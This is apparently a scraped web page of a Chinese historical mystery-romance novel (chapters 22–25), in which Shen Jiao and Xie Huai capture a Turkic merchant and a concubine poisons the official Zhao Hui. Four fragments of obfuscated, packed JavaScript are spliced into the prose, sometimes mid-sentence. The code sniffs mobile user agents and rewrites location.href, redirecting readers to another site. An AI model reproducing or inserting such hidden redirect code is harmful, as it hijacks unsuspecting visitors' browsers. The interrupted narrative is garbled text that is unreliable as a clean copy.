药效逐渐发作，沈皎倚在树上，感觉好受了些。不远处响起兵刃相接的铿锵声。她抬头，目光投向面前的两个暗卫。 “我已经没什么大碍了，两位不必守着我，去帮谢大人吧。” “沈姑娘，世子说了，让我们守着你，况且那些人伤害不了世子。”一个暗卫言之凿凿道。 沈皎还是担心谢淮那边的战况，手撑着一旁的树站起来，缓缓挪动了几步，从树缝间，乜眼望去，却瞧见谢淮面不改色，用剑抵挡开攻击，干脆利落地刺进了一个黑衣人的胸膛。 沈皎怔了怔，看惯了谢淮穿着官袍峭冷的模样，以为谢淮佩剑，是为了掩人耳目的无奈之举，没料到，他真的会武。 旁边的两个暗卫，见沈皎不信，跟了上来：“沈姑娘，这下你信了吧。世子十七岁就跟着国公上战场杀敌了，出师的第一仗就带着我们斩杀了突厥的特勤。” 沈皎闻言，才知道自己的担心多余了，谢淮身边的暗卫并不是普通的暗卫，都是谢淮先前在军中的部下。 半个时辰后，交战才结束，山路上横七竖八躺满了尸体。空中到处充满着令人作呕的血腥味，沈皎缓缓走出林子，客商已被暗卫擒住，矿地火光冲天，也在交战。 谢淮下令：“你们先去支援。” “是。” 暗卫离开后，谢淮扭头看向沈皎，见沈皎从容不迫地站在尸体前，面色虽仍旧苍白，却没有一丝恐慌和害怕。眸子一暗，垂头收起手中血迹斑斑的剑，插回鞘中，状似无意道：“沈姑娘，先前说自己是凉州人？不知道家中是做什么的？” 沈皎呼吸一滞，心跳如鼓。不知谢淮为何忽然问起这个，脑中迅速一幕幕闪过方才的言行，确认并无不妥之处，不露声色道:“是，家父昔日在凉州做一些瓷器生意。” 沈皎回答得滴水不漏，让人听不出破绽。就在她以为谢淮要锲而不舍地追问下去，他却不再做声，只命她身边的两个暗卫保护好她，押着客商便往矿地的方向走去。 她暗暗松了口气，迈开步子，徐步跟上。 一场厮杀过后，陆林和阿城脸上都沾染了不少血，身上也都受了不轻的伤，两人看到谢淮和沈皎走过来，出声对着谢淮行礼:“拜见大人。” “嗯，去矿里搜，看还能不能找到其他的线索。”谢淮淡淡应了一声，对着身后的暗卫道。 “是。” 沈皎看到人群里的寒娘，走到寒娘身边。 寒娘见沈皎脸色很差，伸手扶住沈皎:“阿玥，你还好吗？” 沈皎虚弱道：“我没事。” 陆林看到沈皎，对着阿城，持剑揖别。 阿城对着陆林回礼时，却行了一个谢礼，方才的恶战中，若非陆林多次替他挡掉身后的袭击，他早已命丧黄泉。 “方才多谢陆兄了，回城后请陆兄喝酒，陆兄到时可莫要推辞。” “好。”陆林爽快应下。 听着两人的话。沈皎侧目，阿城斜站在陆林身旁，只露了半张侧脸。她却觉得有些面熟，待阿城转过身，忆起先前在狱中的那一脚，眼神一凛。依律面前的人难逃罪刑，谢淮非但没有将其治罪，还收作了暗卫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858901|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆林走到沈皎身侧，喊了一声“姑娘。” 沈皎不着痕迹收回目光，扫视一圈，见陆林身上的伤没什么大碍，收回视线。 矿地内火光冲天，将黑魆魆的天空映红了大片。矿洞内歇息的矿工被洞外的鏖战声惊醒，吓得慌作一团，纷纷逃出了矿洞。 “这位是大理寺的谢大人，来此是来查案的，诸位不要害怕。”阿城道，安抚着恐慌的众人。 “草民拜见大人。”矿工们面面相觑一眼，慌忙对着谢淮跪下行礼。 “诸位请起。”除开先前的王浮，还有几人不知道下落。谢淮让暗卫将名单拿给矿工叮问。 “世子，矿工们说矿塌了，这几人埋在了矿里，尸体挖出来后，都被扔进了后山的悬崖。” 后山谢淮去看过，深不见底，时不时还能听到猛兽发出的嘶吼声，扔下去只怕尸骨无存。 半个时辰后，暗卫回来，“世子，到处都搜过了，只找到了两本空白册子。” 谢淮接过册子，册子上墨迹还未干，翻了几页，抬手递还给暗卫，转身欲走。 沈皎适时出声，拦住谢淮的去路：“谢大人，如今这些矿工的活计没了，他们这些日的工钱怎么办？” 谢淮看向沈皎，思忖半晌，对着矿工道:“倒是本官疏忽了，今夜先在此暂歇一夜，明日到此排队登记领取凭证，后日来大理寺领这些日的工钱。” 矿工闻言，望着沈皎和谢淮几乎要喜极而泣，纷纷跪在地上磕头谢恩。 沈皎轻咳几声，见矿工的工钱有了着落，随寒娘回了山洞，同躺在被褥中。 “寒娘，你回去后有何打算？” 明日一别，也不知何时才能相见。 能安然无恙地离开，寒娘庆幸之余，又有些惆怅：“我夫君前些年去了战场便再也没回来，婆婆也已年迈，庄稼这几年收成又不好。我会磨豆腐，回去后领了工钱打算去城中盘一间小铺子，带着婆婆搬过去。” “寒娘心灵手巧，铺子生意一定会很红火。”沈皎道。 心间的阴霾散去，寒娘道:“工钱是阿玥帮我要回来的，到时请阿玥来铺子吃菽乳，阿玥可莫要推辞。” “好。” 夜色渐深，两人说了会儿话，便难抵睡意，相继沉沉睡去。 “阿玥，你没事吧？”寒娘从外归来，见沈皎两颊泛着不正常的红晕，关心道。 沈皎昨夜服药时，加大了剂量，后半夜还是发起了烧，一早起来，头轻脚重，说话也带着些鼻音。 “我没事，大抵是发烧了。” 陆林进来，说谢淮急着回去处理公务，要提前回京中。 “我知道了。”沈皎撑着床沿站起身。 寒娘道:“这里距城中仍有些距离，阿玥你的身体？” 沈皎此刻的脸色看起来比昨夜还要差，一丝血色也无。 “回到城中找个大夫便没事了。” 23. 第 23 章 沈皎在寒娘的搀扶下走出山洞，谢淮不知道从何处找来了马。 “沈姑娘可会骑马？” 沈父常年领兵在外，无法常伴沈皎身边，便请了位婆子照料她。不料夜里那婆子在府中好酒贪杯，醉倒后竟未察觉沈皎发烧，延误了医治。沈皎因此落下病根，每逢天寒便会虚弱不堪。 自那后，沈父悔不当初，不放心再将沈皎交给他人照顾，征战时也带在身侧。见她在营地待得无聊，对骑射感兴趣，闲了便在校场教她骑马射箭，让她解闷。 沈皎一眼就看出谢淮身侧的马颈长而弯，蹄如坚石，是一匹能日行千里的好马。 她垂睫咳嗽几声，声音幽微道：“会，先前父亲经商回来，跟着父亲学过。” 寒娘急切道：“大人，阿玥从昨夜就开始发烧，带的药也用尽了，不能再耽搁了，得赶紧回京中找个大夫。” 这次能抓到客商，沈皎功不可没。谢淮看着沈皎难受至极，仍硬挺着一声不吭。抛却男女大防，主动相邀：“沈姑娘，若不介意，可与本官同骑一匹马。” 两人要一道回国公府，沈皎求之不得，声音似是从火里滚过:“有劳谢大人了。” 谢淮踩镫翻身上马，坐在马鞍上，对着沈皎伸出手。 那只手冷白修长，许是常年练武的缘故，上面覆着一层厚厚的茧子。 沈皎一只手提起衣裙，另一只手搭在谢淮掌心，微微使力，握住他的手，借力踩上马镫，稳稳地坐在他身前的马鞍上。 身前那具滚烫的身躯，紧紧贴住他的胸膛，却似一个燃烧着的火炉。 谢淮双腿一夹马腹，扬鞭策马，“驾。” 马蹄翻飞，尘土飞扬。两人眨眼间便没了人影，陆林和阿城也随后跃马跟上。 “陆兄，你和那位姑娘是？” 阿城认出沈皎，狱中的情形再一次浮现在脑海，忐忑地打探两人的关系。 “她是我家姑娘。”陆林瞥见阿城满面心虚，似是做了什么亏心事，道:“怎么了？” 阿城忙不迭打马虎眼：“没什么，只是有些好奇而已。” 陆林虽觉怪异，但也没再追问，与阿城押着客商回京。 国公府正门大开，门前停着六辆马车，车上各色各样的器具，琳琅满目，堆了一层又一层。 下人们鱼贯成行地将铺子送来的东西搬回府中。 “翠蕊姑娘，这个梅瓶放在何处？”丫鬟蹑手蹑脚地走到廊檐下，询问在椅子上休憩的翠蕊。 还不及应声，另一个丫鬟忙不迭又抱着一摞书走了过来，“翠蕊姑娘，这些山水游记放在何处？” 翠蕊忖了一忖，呷口水，润了润发涩的喉咙，指着吊窗前的桌子，“都放那儿吧。” 翠蕊放下杯子，正要往杯中添茶，发现茶壶空了。 福管家春风满面地穿过人群走了过来，“这几日辛苦翠蕊姑娘了。” 福管家命人买回东西后，担心布置的不妥帖，索性将翠蕊请来，一一确认后，才让下人进屋摆放，有几家商铺的东西缺货，直到今日才送上门。 “不辛苦，倒是麻烦福管家了。” 这几日，翠蕊没做什么，倒是福管家一直事事亲力亲为，在府里忙前忙后。 “不麻烦，只要能让沈姑娘住得满意便好。”谢淮先前未曾讲明，来的是哪家的姑娘。福管家得知姓沈后，心花怒开，生怕有所怠慢，见翠蕊手边的茶壶空了，又让丫鬟去端刚煮好的甘菊汤。 “也不知道我家姑娘和世子现在怎么样了？”沈皎虽有陆林随行保护，也带了药，可她还是不放心她的身体。 马在平坦的山路上风驰电掣，翻山越岭，半个时辰后，终于走到了官道上。 一路上，两人默不作声。沈皎身上灼人的热意隔着衣衫传来，无法让人忽视。谢淮明显能感觉到她握着缰绳的手渐渐绵软无力，快要支撑不住了。他不敢停下，双手接过缰绳，又怕她从马上摔下去，只得唐突地用力锢住她的腰。 “沈姑娘，若撑不住，便靠在我的肩膀上。” 意识渐渐抽离，沈皎眼皮上沉得似压了两座山，再也支撑不住，将全身的重量压向谢淮，昏睡了过去。 谢淮垂眸眼神复杂地看了一眼怀中的人，加快速度，往城内赶去。 城门前的禁卫统领瞥见有人骑马要闯城门，正想命人拦住，看到谢淮，立刻让人放行。 马在城中疾驰，惹得街上的人慌乱躲避。 谢淮在一家就近的医馆前停下，将沈皎抱下马，疾步迈入。 医馆内这时也没什么人，女医见状，让谢淮将昏迷过去的沈皎抱进后面的屋子。 女医把完脉，把沈皎的手放回被子里。细细检查了一番沈皎的身体状况，走到屋外，“还好谢大人送来得及时，这姑娘本身就有宿疾，肺部还有旧伤未愈，又发了高热，能坚持到医馆已经算奇迹了。幸好她求生欲很强，我先给她煎些药，服下出出汗，烧退了，回去好好养着，便没什么大事了。” 谢淮道：“劳烦姑娘了，还请姑娘先帮我照看一下这位姑娘，稍后我会派人将银钱送过来。” 谢淮交代完，没再久留，出了医馆，骑马回到国公府。将马交给门口的小厮。让下人将沈皎在医馆的事告诉给翠蕊，换了一身衣服，赶到别院。 暗卫走上前，“世子，合州那边传来了消息，我们的人找到了沈府的一个下人，那下人说，沈将军在遇害之前，便差人将沈姑娘送到了凉州。” 谢淮静默半晌，道:“继续打听，问一问沈将军昔日有没有什么至交好友在凉州。那两人还是什么都不肯说吗？” “是，能用的手段都用了，还是什么都不肯说。世子，属下觉得，此事或许从一开始我们追查的方向就错了，信根本就不在那两人的身上。” 谢淮不是没想过这种可能，甚至想过阿五在说谎，可当时芸娘说是阿五拿走了密信，阿五也承认信被他藏起来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858902|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如果信不在阿五的手上，那就是芸娘从一开始就对他说了谎。脑中浮现出一个荒唐的可能，沉声道：“去密室。” “是。” 谢淮没去审问阿五，走到关押韩庆的密室，“事到如今，韩大人还是什么都不愿说吗？” 韩庆抬起满是血污的脸，奄奄一息道：“你…休…想…” 谢淮的脸在火光中明灭不定，嗤笑一声，“韩大人如此忠心不二，可韩相却只将你当作弃子。韩大人还不如老实交代了，我好给韩大人一个痛快。” 韩庆不再出声，拒绝交谈。 谢淮在椅子上坐下，“你们派人在矿地私铸兵器，与突厥人在密谋什么？” “你...”韩庆惊恐地看向谢淮，没料到连矿地也被发现了。 “怎么，韩大人很意外？赵晖和你这几年没少在牙行里为你主子捞油水吧。” 在说到牙行时，谢淮明显能看出韩庆的眼神变了，将一切尽收眼底，继续步步紧逼，话里有话，“韩大人经此一事，彻底失了圣心，既心甘情愿为韩相顶罪赴死，想来不是为了自己吧。” 这话拿捏了韩庆的七寸，他没再反驳。谢淮为查此案不择手段，连私藏钦犯的事都能做出来，对韩菀也不会手下留情。缓过一口气，问出心中的疑惑，“世子，为何执意要追查此案？” “这韩大人就没必要知道了，密信在何处？” “密信不知道被谁拿走了，没在我们手里，至于其他的，我一个字也不会说的。” 谢淮出了密室，暗卫问道：“世子，既然确认密信还在芸娘身上，那我们接下来该怎么办？” 芸娘的夫君因此而死，她不可能再把密信藏在身上，可还会有谁对密信感兴趣。那个答案在心底呼之欲出，他却不敢再往下深想，“派人去查，沈玥和她那个婢女的身份。” “是。” 翠蕊接到消息，火速赶到了医馆。见沈皎躺在床上昏迷不醒，吓得还以为出了什么事，得知只是发了高热，没什么大碍，悬着的心才放下，喂沈皎吃完药，拭去她额头上的汗珠，守在一旁等着她醒来。 沈皎睁开眼，见她已然回到了京中。 “姑娘，你醒了，有没有觉得哪里不舒服？” “好多了，就是口有些渴。”周围弥漫着一股药香，时不时还能听到从外面传来的吆喝声，她们现在应该在医馆内。 翠蕊忙倒来茶，又去温盘里取出福管家差人送来的粥，递给沈皎。 沈皎喝完粥，恢复了些气力，离开医馆坐上马车往国公府而去。 “我不在的这几日，春桃那边有没有传来什么消息？” “没有，姑娘，我按照你说的，让人告诉春桃让她若有事便来国公府寻我，但这几日过去了，都没见春桃过来寻我。” 眼下抓到了那个突厥客商，赵晖通敌叛国的罪名怕是跑不了了，但赵晖后面还有个韩丞在，她既答应了春桃救出陆姨娘，便不会食言。 24. 第 24 章 马车在府门前停下，沈皎在翠蕊的搀扶下进了府，走在抄手游廊上，穿过两个洞门，来到一处清幽雅致的院子。 从屋中走出一个丫鬟，“沈姑娘，热水已经为您备好了，您现在可要沐浴？” 沈皎点了点头，正要进屋。下人突然来报，说有个姑娘神色慌张地在府外指名道姓要见翠蕊。 心照不宣地和翠蕊相视一眼，心知是春桃来了。翠蕊随着下人离开，沈皎唤丫鬟进屋伺候，快速洗去身上的黏腻沐浴完，换了一身素净的衣物。 翠蕊去了小半个时辰才回来。沈皎坐在炭盆旁，拿起乌木云纹梳，屏退屋内伺候的丫鬟，“发生何事了？” 翠蕊压低声音，语气焦急，“姑娘，春桃出事了。” 翠蕊随着下人出府，来者并非春桃，而是沈府的一个丫鬟，名唤红蕖。红蕖称自己在赵府曾被下人欺辱，幸得春桃出手相救，因此冒死前来送信。春桃昨日夜间溜进书房寻找证据，不幸被赵晖发现，打得半死不活，被关了起来。 沈皎听完后蹙眉，停下手中的动作。赵晖身为兵部尚书，官居正二品。大理寺要查办他，光查考证据，就需些时间。坐以待毙等到那时，春桃怕是凶多吉少。 “姑娘，赵府守卫森严，我们只能去找谢大人帮忙。” 沈皎也正有此意，若能说服谢淮提前派人前往赵府捉拿赵晖，春桃就有救了，她让翠蕊去前院候着，等谢淮回府，便来告诉她。 午饭时，阿城和陆林押着客商来到别院，关进密室。谢淮看完暗卫查来的消息，说自己有事要办，让两人先回国公府。独自信步在街头。 街上车马骈阗，叫卖声此起彼落，不绝于耳。 “这位公子，要来一串糖葫芦吗？”小贩扛着稻草把子，见一个锦衣华服的公子站在一旁，一直盯着他肩头愣愣出神，主动出声询问。 谢淮回过神，鬼使神差地嗯了一声。买了两串，付完钱，拿着糖葫芦往回走。 取下一个咬了一口，皱了皱眉，这么多年过去，还是适应不了这股酸甜的味道，他逼着自己咽下，剩余的给了街头的一个乞儿。 翠蕊守在门口，觑着门口目不转睛，看到一抹惹眼的雪白出现在门口，匆匆踅回院子。 用完饭，沈皎喝完药，在下人的带领下，来到了谢淮的住处。 谢淮掀起帘子，看着院中的沈皎，眸光一沉。 见沈皎半湿着发，穿着单薄，就过来了，吩咐身后的下人，“去给沈姑娘拿个手炉，再端两盆炭火进来。” “是，世子。” 沈皎跟随谢淮进屋，屋内泛着一股浓郁的沉香，铺陈却十分简古。 两人踱步到书桌前。桌上的一串鲜红映入眼帘，沈皎不自觉望过去。 谢淮捕捉到沈皎眼底一闪而过的喜悦，伸手搦住糖葫芦。抬起头，语气波澜不惊，“沈姑娘，喜欢吃糖葫芦？” 沈皎如实答道：“我幼时身子便不太好，常常泡在药罐子里，不肯吃药，父亲常从街上买这个回来哄我吃药。” 谢淮动作一僵，握着竹签的手微微用力，放缓力度，将手中的糖葫芦递给沈皎，“回来时偶然碰到小贩在卖，顺路买的，既然沈姑娘喜欢吃，便给沈姑娘了。” 沈皎毫不客气地伸手接过，没有拒绝谢淮的好意。 “多谢谢大人。” 谢淮言归正传，“沈姑娘，来找我所为何事？” 下人端来火盆，将手炉递给沈皎。 沈皎咬了一口糖葫芦，酸甜的味道在口中四溢，掩盖掉药汁带来的苦涩，“还请大人帮我从赵府救一个名唤春桃的丫鬟，那丫鬟有恩于我，正在赵府受难，只有大人能救她。” 谢淮倒了一杯热水递给沈皎，命人唤来阿城。 阿城走进屋中，看到沈皎也在，连忙忐忑地垂下头，“世子。” “拿上我的令牌，去大理寺让人到赵府将赵晖捉拿归案。” “是。” 沈皎没想到谢淮答应得如此爽快，精心在路上准备的说辞，就这么硬生生地咽回了肚中。 赵府之中，陆姨娘提着食盒走到柴房前，将银子递给两人，道：“还请两位行个方便。” “姨娘，这银子我们不能收，不是我们不让您进去，大人下令，谁都不能进去探望，您别为难我们。” 陆姨娘见给银子行不通，不再浪费口舌。取出藏在袖中的匕首，拔出抵在颈间，冷着声音，威胁道：“你们今日不让我进去，我就死在这儿，大人回来，两位谁都逃不了。” 两人虽左右为难，迫于无奈，只得妥协让步，“姨娘，放您进去可以，但您不要待太久了，被大人发现，也要连累小人受罚。” 陆姨娘生怕两人反悔，走进柴房，才放下手上的匕首，阖上门。看到躺在地上奄奄一息的春桃，方才迫人的气势瞬间荡然无存，红了眼眶，“春桃，你怎么样？” 春桃撑地坐起身，扯到身上的伤口，强忍疼痛，气弱声嘶地唤着陆姨娘的闺名，出声安慰，“香莲，别哭。我已经让红蕖去找翠蕊姑娘了，她家姑娘一定会想办法救你出去的。” “对不起，都是我害了你。”若不是为她，春桃也不会去冒险。陆姨娘看着春桃伤痕累累，泪流满面道。 春桃知香莲外表看着柔弱，实际是最敢豁出去的一个人。如果不是当初赵晖用父亲的性命相挟，她恐怕早已杀了赵晖，与其同归于尽了。她们在赵府险中求生，相互扶持，经历了那么多危险时刻，都挺了过来。若真到最后，要命丧于此，她也会先杀了赵晖，让他为枉死的人偿命。 “香莲，你别难过，不是你的错，你莫要做傻事。” 香莲抹掉眼泪，给春桃身上的伤口上药，“好，你也要挺住。” 从柴房回到院子，红蕖说赵晖回来了。香莲坐在铜镜前，用脂粉遮去红肿的眼眶，“让你买的东西，可买到了？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858903|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“买到了，姨娘。” 赵晖满身戾气从丞相府回来，一进府顶着一张要杀人的脸，命人提春桃前来审问。 春桃被下人粗鲁地从柴房拖到院中，吊在一个四丈高的木架上。 “说，通风报信的人是谁？”赵晖放下茶，冷冷地问。 矿地的位置只有他牙行掌柜和韩丞知道，牙行掌柜已经死了，排除所有可能，消息只可能是从他这里泄露出去的。 一记鞭子狠狠落在身上的伤口上，火辣辣的疼，春桃疼得冷汗直冒，咬住唇，逼自己保持清醒，一声不吭。 赵晖没听到自己想要的回答，放下杯子，“不说？还真是嘴硬。我倒要看看，你能忍到什么时候。来人，用拶刑。” 侍卫放下春桃，按住她，取来夹棍，正要行刑。又被赵晖拦下，“去把府中的人都叫到院里来，让她们看看，吃里爬外是什么下场。” 下人通传后，香莲画了个精致的妆容，安排好一切，同红蕖到前院时，院中已乌泱泱站了一大堆人。 众人自发让开路，让香莲过去，按理说，春桃是香莲的贴身丫鬟，赵晖在府中又素来独宠香莲，正好借机落井下石，但出人意料的是，府中的各个姨娘们，却没有一个人面露幸灾乐祸之色。 赵晖环视一眼，见人到齐，别有深意地觑了人前的香莲一眼，命人行刑。 侍卫将夹棍套在春桃指间，并力向两边拉动，剧烈的疼痛袭来，十指连心，起初春桃尚能凭借坚强的意志咬牙忍耐，没一会，便脸色惨白如纸，抖着双唇，叫出了声。 香莲揪着心，手指在袖中慢慢紧握，刺进手心，面无表情，却没有上前求情。 赵晖挥了挥手，命两人放开春桃，看着躺在地上如死尸一般一动不动的春桃，瞧着春桃有几分姿色，以利诱之，“我也不是不怜香惜玉之人，只要你说出那人是谁。我便放了你，将你纳进府，往后你便有享不尽的荣华富贵。若再不说，这双手可就要废掉了。” 春桃似听到了什么荒唐可笑的事，怒目圆睁，胸脯剧烈喘息，气得笑出声，“我恨不得吃你的肉喝你的血，想让我委身于你这等奸佞小人，做梦。” 下人端着茶壶上前，为赵晖添上新茶。 赵晖伸手去端手边的茶，不再废话，“敬酒不吃吃罚酒，来人，用刑。” 侍卫正要动手，却见赵晖手中的茶杯滚落在地，捂住胸口，神色痛苦，突然吐出一口鲜血。 院中的众人惊呼出声，被这一幕吓得猝不及防。唯独香莲神气自若，冷眼看着这一切。 侍卫没再对春桃行刑，退到一旁。 赵晖意识到方才喝的茶中有毒，抬起头，看着香莲，瞬间明白过来，再次喷出一口鲜血，“你这个…贱人……” 香莲上前取下夹棍，扔在地上，俯身扶起春桃，双眸充血，快意道：“你为逼我进府做妾，将我父亲打成残废，命人打死他时，你就该想到会有这一日。” 25. 第 25 章 “来人，把这个…贱人......”赵晖瞋目切齿，似恨不得将香莲大卸八块才肯罢休。 春桃也愣住了，思绪飘飞，猛地回神，看向赵晖，忍着钻心的疼痛，拔出藏在袖间的匕首，握在手中，将香莲护在身后。然而赵晖却没能把话说完，就抽搐着身体，死不瞑目，倒在了椅子上。 “杀人了。”院中的姨娘们惊慌失措，乱作一团。 “放下武器，大理寺办案，反抗者就地正法。” 穿着蓝衣的衙差和禁军从门口冲进来，围住整个院子。 大理寺丞刚一踏进赵府，就听到府中有人喊说杀人了。疾步穿过人群，来到院中，见赵晖仰面朝天僵坐在椅子上，上前一探鼻息，发现人已经断气。向众人询问着院中方才的情况，问完，走到香莲面前，“还请姑娘跟我们走一趟。” 春桃扔掉匕首，揽下所有罪责，“人是我杀的，我跟你们走。” “人就是我杀的，大人莫要听她胡说。”香莲一脸坦荡地认罪，没想让春桃替自己顶罪。 站在香莲身侧的红蕖这时也跪在地上，不住磕头，泣声道“大人，是我因琐事被处罚，怀恨在心，才在茶水中下了毒，不关两位姑娘的事。” 三人争先恐后地认罪，大理寺丞犯起了难，索性让人将三人都先带回大理寺。 悄悄跟随而来的翠蕊与一众看热闹的百姓站在府外，见春桃几人被押着出来，问着身旁的老者：“老伯，里面发生何事了？” “听说是死人了。” 翠蕊道完谢，见衙差抬着一具尸体从府里出来，回了国公府。 窗外余霞成绮，谢淮正在翻看账本，这时，大理寺丞走进来，将几人的证词递给谢淮。 “可请仵作验过尸？” “验过了，仵作说死因是中毒。属下询问了负责给赵晖送茶水的下人。下人交代，他昨夜与赵府其他几个下人饮酒，烧茶时困得趴在灶台上睡着了。早上，陆香莲的丫鬟红蕖去过厨房，红蕖去厨房的时间与赵晖的死亡时间非常接近。不过...”大理寺丞欲言又止。 “不过什么？” “调查一番后，倒让属下想起一桩事。赵晖曾见色起意，派人打伤陆父，强掳陆香莲进府。陆父为此敲登闻鼓告御状，此事当年在京中闹得沸沸扬扬，赵晖因此险些丢掉官职，得韩相求情，仅被罚了几年的俸禄。不承想事后，赵晖前往陆家，变本加厉，命人打断了陆父的一条腿，仍将陆香莲强抢进了府。前些日子陆父又去找赵晖求情，却被拖进巷子里面活活打死了。” 这个案子凶手的作案手段并不高明，几乎不用去猜，就能判断出凶手。 谢淮放下手中的证词，“本官知道了，你先去请狱医给那春桃诊治，带人前往赵府搜查，看能不能搜到赵晖通敌叛国的证据。” “是。” 大理寺丞离开后，谢淮按了按泛疼的太阳穴。案几上花卉纹香炉里的沉香渐渐燃尽，燥郁涌上心头，合上账册，本想去别院，扭头又向国公府的方向走去。 翠蕊回到国公府，“姑娘，不好了，春桃她们被抓起来了。” 沈皎愣了愣，谢淮答应她救人应是不会反悔，以他的品性，断不会去为难三个弱女子。只能是赵府出了什么事，她放下书，问道：“可知因何被抓？” “听说赵府里发生了命案，我看到大理寺拿了春桃红蕖和陆姨娘三人，还从里面抬了一具尸首出来。” 春桃既已派红蕖来求救，又为何要杀了赵晖？沈皎稍一思忖，便想通了其中缘由，且先不论三人谁是主谋。大周律法规定，强抢民女者，若涉及亲属、部曲、官户等身份，刑罚加重，致伤可至绞刑。 之前陆姨娘的父亲进宫告御状，赵晖当街强抢民女，因有韩丞庇护，未受到任何惩处，还上门打瘸了陆父的腿，身为朝廷命官知法犯法，此事到最后却不痛不痒的罚了俸禄便不了了之。春桃虽与自己达成合作，即便有人愿意她伸张正义，陆姨娘却已经不信为官之流了。 沈皎先前纳闷陆姨娘恨极了赵晖，为何又留在赵府做妾室，后面再一打听，知晓赵晖用陆父相迫，便明白了过来。 赵晖强抢民女，通敌叛国，罪行累累，死有余辜。但谋杀二品大员，不管三人谁是主谋，按大周律法，都难逃死罪。 先前她因芸娘的案子跪在宫门口喊冤，但景惠帝最终都不愿召见她。若不是谢淮进宫求情保下芸娘，芸娘早已丧命。她已不再心存幻想，还能为几人求来一个公道。 屋内炭火太足，待久了，有些憋闷。沈皎让翠蕊支起窗户，寒风裹挟着院中玫瑰的香气迎面扑来，吹散脸上翻腾的热意。 “姑娘，我们要救春桃她们吗？” “自然要救。” 没有春桃，就无法抓到那个突厥客商，查出赵晖的阴谋。只是这次，她不会再像之前那般莽撞了。韩丞还在城中派人搜查她们的行踪，行事需得谨慎。 沈皎让翠蕊在街上买了些糕点，坐着马车来到狱中，虽说因为上次刺杀的事，狱中的看守变得森严起来，狱卒却没有再拦沈皎。 狱卒带着沈皎来到关押三人的牢房，打开牢门。 “沈姑娘，你怎么来了？”春桃看向来人。沈皎答应她救人，大理寺也确实派了人来，并未失诺，她们的交易已经算是结束了。 “我来看看你们。” 红蕖扶起身子还很虚弱的春桃在凳子上坐下，一旁一直默不作声的陆香莲也起了身。 三人围坐在一起，沈皎看着春桃手指上缠着的绷带，关心道：“春桃姑娘手上的伤如何了？” “谢大人让狱医前来看过了，幸好未伤及关节，还有救。”春桃答道。 沈皎虽与几人，仅有几面之缘，但能看出，三人都是重情重义之人。 陆香莲知道她下毒的手段并不高明，是经不起查的，她得为两人之后做打算，她起身郑重地对着沈皎行了一礼，“赵晖活活打死了我父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858904|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，杀了他我不后悔，人是我杀的，和她们两人没关系，我已为她们消了奴籍，她们二人在京中举目无亲，还请沈姑娘日后能在城中多照拂她们一二。” “香莲。”春桃眼眶倏地一下红了，语气哽咽。 陆香莲见天气愈渐寒凉，前日便差红蕖去给陆父送些冬衣和炭火。但红蕖去了却没见到陆父。后来得知赵晖这几日在府中似是被什么事缠上了，无暇顾及后院，便趁机派红蕖出府让同乡打听消息。这才知道，陆父因思女心切，前些日子又去恳求赵晖放陆香莲归家。不料赵晖大怒，竟命人将陆父拖到巷子里，活活打死了，还将尸体扔去了城外的乱葬岗。 “那日赵晖不死，我也会不顾一切用袖中的匕首杀了赵晖。”春桃抹了抹泪，语出惊人地道，让在场的几人都不明所以。 “当年赵晖身为永州刺史，我父亲只是他身边一个小小的参军。我父亲察觉赵晖与突厥暗中有往来，欲向天子陈奏，赵晖发觉后，却伪造信件，向圣上诬陷是我父亲通敌叛国，令我父亲蒙冤而死。” 沈皎记得，永州早些年便被突厥从大周夺去了，数十万百姓更是惨遭屠戮。当年赵晖身为永州刺史，竟早已与突厥暗中有往来。春桃的身上，也背负着同自己一样沉重的过往。 “陆姑娘不必多礼，赵晖死有余辜，做下的恶事千刀万剐都不为过，这般轻易死了，倒是便宜他了。” 沈皎说了会话，从狱中出来，回到国公府。看到福管家候在门口，一脸焦急的模样。 “沈姑娘，您可回来了，老奴请您去看看世子吧。世子头疾又犯了，大夫也不请，劝也不听。” “谢大人现在在何处？” “世子在书房。” 沈皎虽不知福管家为何来找自己，还是随着福管家去了书房。 “沈姑娘，世子谁的话也不听，就听你的，还请你帮老奴劝劝世子。” 